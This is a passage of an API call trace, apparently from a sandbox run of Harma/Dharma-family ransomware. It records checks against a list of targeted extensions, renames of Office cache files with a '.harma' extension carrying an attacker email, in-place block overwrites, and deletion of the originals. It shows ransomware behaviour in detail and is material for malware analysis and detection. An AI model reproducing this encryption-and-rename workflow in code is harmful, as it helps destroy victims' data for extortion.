(lpString1=".bz2", lpString2=".msi") returned -1 [0043.783] lstrlenW (lpString=".7z") returned 3 [0043.783] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString=".dbf") returned 4 [0043.783] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString=".1cd") returned 4 [0043.783] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString=".jpg") returned 4 [0043.783] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString=".doc") returned 4 [0043.783] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.783] lstrlenW (lpString=".docx") returned 5 [0043.783] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.783] lstrlenW (lpString=".pdf") returned 4 [0043.783] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.784] lstrlenW (lpString=".xls") returned 4 [0043.784] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.784] lstrlenW (lpString=".xlsx") returned 5 [0043.784] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.784] lstrlenW (lpString=".ppt") returned 4 [0043.784] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.784] lstrlenW (lpString=".zip") returned 4 [0043.784] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.784] lstrlenW (lpString=".rar") returned 4 [0043.784] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.784] lstrlenW (lpString=".bz2") returned 4 [0043.784] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.784] lstrlenW (lpString=".7z") returned 3 [0043.784] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.784] lstrlenW (lpString=".dbf") returned 4 [0043.784] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.784] lstrlenW (lpString=".1cd") returned 4 [0043.784] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.784] lstrlenW (lpString=".jpg") returned 4 [0043.784] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.102] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0044.102] lstrlenW (lpString="PubLR.cab") returned 9 [0044.102] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0044.102] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=9958388) returned 1 [0044.102] CloseHandle (hObject=0x1a0) returned 1 [0044.102] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0044.102] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0044.103] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0044.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0044.103] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0044.103] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.103] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.109] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.109] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.119] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.119] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.119] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.137] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0044.137] WriteFile (in: hFile=0x1a0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0044.809] SetEndOfFile (hFile=0x1a0) returned 1 [0044.809] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f334d0 [0044.814] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.814] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.816] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.816] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.822] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.822] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f334d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f334d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.828] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f334d0 | out: hHeap=0x5a0000) returned 1 [0044.828] CloseHandle (hObject=0x1a0) returned 1 [0047.520] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0047.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.521] lstrlenW (lpString=".doc") returned 4 [0047.521] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString=".docx") returned 5 [0047.521] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.521] lstrlenW (lpString=".pdf") returned 4 [0047.521] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString=".xls") returned 4 [0047.521] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString=".xlsx") returned 5 [0047.521] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.521] lstrlenW (lpString=".ppt") returned 4 [0047.521] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.521] lstrlenW (lpString=".zip") returned 4 [0047.521] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString=".rar") returned 4 [0047.521] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.521] lstrlenW (lpString=".bz2") returned 4 [0047.521] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.521] lstrlenW (lpString=".7z") returned 3 [0047.521] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString=".dbf") returned 4 [0047.522] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString=".1cd") returned 4 [0047.522] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString=".jpg") returned 4 [0047.522] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString=".doc") returned 4 [0047.522] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString=".docx") returned 5 [0047.522] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0047.522] lstrlenW (lpString=".pdf") returned 4 [0047.522] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString=".xls") returned 4 [0047.522] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString=".xlsx") returned 5 [0047.522] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0047.522] lstrlenW (lpString=".ppt") returned 4 [0047.522] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.522] lstrlenW (lpString=".zip") returned 4 [0047.522] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString=".rar") returned 4 [0047.522] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.522] lstrlenW (lpString=".bz2") returned 4 [0047.523] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.523] lstrlenW (lpString=".7z") returned 3 [0047.523] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.523] lstrlenW (lpString=".dbf") returned 4 [0047.523] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.523] lstrlenW (lpString=".1cd") returned 4 [0047.523] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.523] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0047.523] lstrlenW (lpString=".jpg") returned 4 [0047.523] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.523] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0047.523] lstrlenW (lpString="Proof.msi") returned 9 [0047.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.671] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=875520) returned 1 [0047.671] CloseHandle (hObject=0x1a0) returned 1 [0047.671] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0047.671] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0047.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.671] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0047.671] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.712] GetLastError () returned 0x0 [0047.712] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0047.734] WriteFile (in: hFile=0x1f0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0048.038] ReadFile (in: hFile=0x1a0, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0048.038] WriteFile (in: hFile=0x1f0, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.038] SetEndOfFile (hFile=0x1f0) returned 1 [0048.038] CloseHandle (hObject=0x1f0) returned 1 [0048.082] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0048.082] SetEndOfFile (hFile=0x1a0) returned 1 [0048.089] CloseHandle (hObject=0x1a0) returned 1 [0048.090] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0048.090] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0048.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.090] lstrlenW (lpString=".doc") returned 4 [0048.090] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.090] lstrlenW (lpString=".docx") returned 5 [0048.090] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0048.090] lstrlenW (lpString=".pdf") returned 4 [0048.090] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.090] lstrlenW (lpString=".xls") returned 4 [0048.090] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.090] lstrlenW (lpString=".xlsx") returned 5 [0048.090] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0048.090] lstrlenW (lpString=".ppt") returned 4 [0048.090] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString=".zip") returned 4 [0048.091] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.091] lstrlenW (lpString=".rar") returned 4 [0048.091] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.091] lstrlenW (lpString=".bz2") returned 4 [0048.091] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.091] lstrlenW (lpString=".7z") returned 3 [0048.091] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString=".dbf") returned 4 [0048.091] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString=".1cd") returned 4 [0048.091] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString=".jpg") returned 4 [0048.091] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.091] lstrlenW (lpString=".doc") returned 4 [0048.091] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.091] lstrlenW (lpString=".docx") returned 5 [0048.091] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0048.091] lstrlenW (lpString=".pdf") returned 4 [0048.091] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.091] lstrlenW (lpString=".xls") returned 4 [0048.091] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.091] lstrlenW (lpString=".xlsx") returned 5 [0048.091] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0048.092] lstrlenW (lpString=".ppt") returned 4 [0048.092] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.092] lstrlenW (lpString=".zip") returned 4 [0048.092] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.092] lstrlenW (lpString=".rar") returned 4 [0048.092] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.092] lstrlenW (lpString=".bz2") returned 4 [0048.092] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.092] lstrlenW (lpString=".7z") returned 3 [0048.092] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.092] lstrlenW (lpString=".dbf") returned 4 [0048.092] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.092] lstrlenW (lpString=".1cd") returned 4 [0048.092] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0048.092] lstrlenW (lpString=".jpg") returned 4 [0048.092] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.092] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0048.092] lstrlenW (lpString="Proof.cab") returned 9 [0048.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.483] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=13642474) returned 1 [0048.483] CloseHandle (hObject=0x1f0) returned 1 [0048.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0048.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.484] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0048.592] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.592] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0048.592] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0048.592] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.942] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0048.942] ReadFile (in: hFile=0x1f0, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.013] 